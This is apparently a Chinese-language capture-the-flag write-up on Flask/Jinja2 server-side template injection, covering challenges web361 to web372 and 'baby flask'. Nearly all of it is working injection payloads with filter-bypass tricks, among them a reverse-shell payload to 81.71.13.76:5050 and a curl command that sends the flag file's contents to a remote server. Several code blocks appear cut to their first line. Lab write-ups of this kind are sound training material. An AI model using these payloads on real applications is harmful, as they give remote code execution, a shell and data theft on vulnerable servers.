ssti常用命令
1  | __class__ 类的一个内置属性,表示实例对象的类。  | 
ssti常用过滤器
1  | attr(): attr用于获取变量  | 
ssti_fuzz
web361_(入门ssti)
啥都没有过滤,所以可以用很多方法
1  | {{url_for.__globals__.os.popen('cat /flag').read()}}  | 
1  | import requests  | 
1  | {{().__class__.__base__.__subclasses__()[].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen("bash -c \'bash -i >& /dev/tcp/81.71.13.76/5050 0>&1\'").read()')}}  | 
web362_(数字)
可以用全角绕过过滤的数字,也可以使用不用数字的payload
1  | {{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}  | 
web363_(‘ “)
利用requst.arg绕过
1  | {{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__[request.args.popen](request.args.cmd).read()}}&popen=popen&cmd=cat /flag  | 
web364_(‘ “ args)
利用request.cookie绕过
1  | {{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__[request.cookies.popen](request.cookies.cmd).read()}}  | 
web365_([ ])
增加过滤了**[ ]**,可以用__getitem()__绕过
1  | ().__class__.__mro__.__getitem__(-1)  | 
web366_(下划线)
利用attr过滤器绕过
1  | {{lipsum.__globals__.os.popen('ls').read()}}  | 
web367_(os)
过滤了字符os,那就把os写到request里面就行了
1  | x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")  | 
web368_(大括号)
过滤了{{,}},可以用{% %}
使用request.values.x,values可以接受GET和POST形式的传参,注意get(request.values.b)中的get根据你的传参方式来的
1  | {% print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}  | 
web369_(request)
过滤了request,利用dict()|join拼接我们需要的字符
1  | {% set po=dict(po=a,p=a)|join%} # dict()|join 拼接键名的方式,此处得到变量po=pop  | 
web370_(0-9)
将上一题的数字用全角替换
1  | {% set po=dict(po=a,p=a)|join%}  | 
也可以用count或者length
1  | {% set two=(dict(aa=a)|join|count)%}  | 
web371_(print)
过滤了print,将flag内容发送到vps
1  | s='__import__("os").popen("curl http://81.71.13.76:5555?p=`cat /flag`").read()'  | 
1  | {% set po=dict(po=a,p=a)|join%}  | 
web372_(count)
用上一题的将数字变成全角的payload照样可以,
补充
baby flask
1  | '.','[','\'','"',''\\','+',':','_',</br>  | 
这道题的特点是过滤了数字和cont和length,怎么得到数字呢?
1  | {% set test=(()|select|string|list)%}  | 
贴一下wp
1  | {% set id=dict(ind=a,ex=a)|join%}  | 
